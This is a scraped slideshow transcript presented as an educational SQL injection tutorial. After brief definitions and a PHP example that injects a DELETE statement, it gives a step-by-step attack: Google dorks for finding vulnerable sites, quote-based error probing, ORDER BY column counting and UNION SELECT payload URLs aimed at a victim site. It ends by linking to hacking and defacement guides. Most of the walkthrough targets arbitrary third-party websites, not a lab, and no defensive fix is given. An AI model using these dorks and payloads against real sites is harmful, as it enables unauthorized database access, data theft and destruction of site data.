sql injection - security testing

20
SQL Injection By Napendra Singh

Upload: napender-singh

Post on 16-Dec-2014

188 views

Category:

Education


0 download

DESCRIPTION

This is my educational tutorial to let you know how to perform SQL Injection on targeted website.

TRANSCRIPT

Page 1: Sql injection - security testing

SQL Injection

By Napendra Singh

Page 2: Sql injection - security testing

O A SQL injection attack is exactly what the name suggests – it is where a hacker tries to “inject” his harmful/malicious SQL code into someone else’s database, and force that database to run his SQL. This could potentially ruin their database tables, and even extract valuable or private information from their database tables. The idea behind SQL injection is to have the application under attack run SQL that it was never supposed to run.

Page 3: Sql injection - security testing
Page 4: Sql injection - security testing

What a hacker can do with SQL Injection attack?

O Bypassing LoginsO Accessing secret dataO Modifying contents of websiteO Shutting down the My SQL server

Page 5: Sql injection - security testing

How SQL injection attack is carried out

In SQL Injection attack; attacker exploits the vulnerability created by the bad coding practice of the developer. Generally, SQL injection is largely observed with PHP and ASP applications. The SQL Injection is primarily generated from the input fields of the form of the website or web application.

Page 6: Sql injection - security testing

Input fields in the form are meant to accept the user information required for the application. We can never trust the users, some can be legitimate (like you ) while some can have bad intentions (hackers).the hacker can execute queries from the input field of the web application. More severe queries like DELETE DATABASE can also get executed.

Page 7: Sql injection - security testing
Page 8: Sql injection - security testing

SQL Injection ExampleExample : - 1

MySQL & php Code :-

$name_evil = "'; DELETE FROM customers WHERE 1 or username = '";

// our MySQL query builder really should check for injection $query_evil = "SELECT * FROM customers WHERE username = '$name_evil'";

// the new evil injection query would include a DELETE statement echo "Injection: " . $query_evil;

Page 9: Sql injection - security testing

Display:

If you were run this query, then the injected DELETE statement would completely empty

your "customers" table.

SELECT * FROM customers WHERE username = ' '; DELETE FROM customers WHERE 1 or username = ' '

Page 10: Sql injection - security testing

How to do SQL Injection

Page 11: Sql injection - security testing

Step 1: Finding Vulnerable Website:To find a SQL Injection vulnerable site, you can use Google search by searching for certain keywords. Those keyword often referred as 'Google dork'.

Some Examples:inurl:index.php?id=inurl:gallery.php?id=inurl:article.php?id=inurl:pageid=

Copy one of the above keyword and paste in the google. Here , we will got lot search result withWe have to visit the websites one by one for checking the vulnerability.

Page 12: Sql injection - security testing

Step 2: Checking the Vulnerability:Now let us check the vulnerability of the target website. To check the vulnerability , add the single quotes(') at the end of the url and hit enter.

For e.g.:

If the page remains in same page or showing that page not found, then it is not vulnerable.

If you got an error message just like this, then it means that the site is vulnerable

http://www.victimsite.com/index.php?id=2'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

Page 13: Sql injection - security testing

Step 3: Finding Number of columns:Great, we have found that the website is vulnerable to SQLi attack. Our next step is to find the number of columns present in the target database.

For that replace the single quotes(') with "order by n" statement.

Change the n from 1,2,3,4,,5,6,...n. Until you get the error like "unknown column ".

so now x=8 , The number of column is x-1 i.e, 7.

http://www.victimsite.com/index.php?id=2 order by 1(noerror)http://www.victimsite.com/index.php?id=2 order by 2(noerror)http://www.victimsite.com/index.php?id=2 order by 3(noerror)http://www.victimsite.com/index.php?id=2 order by 4(noerror)http://www.victimsite.com/index.php?id=2 order by 5(noerror)http://www.victimsite.com/index.php?id=2 order by 6(noerror)http://www.victimsite.com/index.php?id=2 order by 7(noerror)http://www.victimsite.com/index.php?id=2 order by 8(error)

Page 14: Sql injection - security testing

In case ,if the above method fails to work for you, then try to add the "--" at the end of the statement.For eg:

http://www.victimsite.com/index.php?id=2 order by 1--

Page 15: Sql injection - security testing

Step 4: Find the Vulnerable columns:We have successfully discovered the number of columns present in the target database. Let us find the vulnerable column by trying the query "union select columns_sequence".

Change the id value to negative(i mean id=-2). Replace the columns_sequence with the no from 1 to x-1(number of columns) separated with commas(,).

For eg:if the number of columns is 7 ,then the query is as follow:

If the above method is not working then try this:http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

Page 16: Sql injection - security testing

Once you execute the query, it will display the vulnerable column.

Bingo, column '3' and '7' are found to be vulnerable. Let us take the first vulnerable column '3' . We can inject our query in this column.

Page 17: Sql injection - security testing

At this point, you know what columns to direct your SQL queries at and you can begin exploiting the database. You will be relying on union select statements to perform most of the functions from this point forward.The tutorial ends here. You have learned how to select a vulnerable website and detect which columns are responsive to your queries. The only thing left to do is append SQL commands to the URL. Some of the common functions you can perform at this point include getting a list of the databases available, getting the current user, getting the tables, and ultimately, the columns within these tables. The columns are where all of the personal information is stored.

Page 18: Sql injection - security testing

Want to take deep diveAccess these URL :-http://www.explorehacking.com/2011/01/sql-injection-step-by-step-deface.html

http://www.breakthesecurity.com/2010/12/hacking-website-using-sql-injection.html

Page 20: Sql injection - security testing

Thanks You